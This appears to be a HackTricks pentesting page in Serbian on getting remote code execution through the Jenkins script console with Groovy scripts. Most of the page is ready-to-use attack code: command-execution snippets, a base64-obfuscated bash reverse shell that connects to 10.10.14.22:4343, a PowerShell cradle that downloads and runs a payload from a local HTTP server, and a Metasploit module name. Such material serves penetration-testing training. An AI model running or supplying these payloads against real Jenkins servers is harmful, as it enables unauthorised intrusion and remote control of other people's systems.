# Jenkins RCE sa Groovy skriptom

{{#include ../../banners/hacktricks-training.md}}

## Jenkins RCE sa Groovy skriptom

Ovo je manje bučno nego kreiranje novog projekta u Jenkinsu

1. Idite na _path_jenkins/script_
2. Unutar tekstualnog okvira unesite skript
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
Možete izvršiti komandu koristeći: `cmd.exe /c dir`

U **linuxu** možete uraditi: **`"ls /".execute().text`**

Ako trebate koristiti _navodnike_ i _jednostruke navodnike_ unutar teksta. Možete koristiti _"""PAYLOAD"""_ (trostruki dvostruki navodnici) za izvršavanje payload-a.

**Još jedan koristan groovy skript** je (zameni \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Obrnuta ljuska u linuxu
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Обратна љуска у Виндовс

Можете припремити HTTP сервер са PS обратном љуском и користити Jeking да је преузмете и извршите:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### Скрипт

Можете автоматизовати овај процес са [**овим скриптом**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).

Можете користити MSF да добијете реверзну шелл:
```
msf> use exploit/multi/http/jenkins_script_console
```
{{#include ../../banners/hacktricks-training.md}}
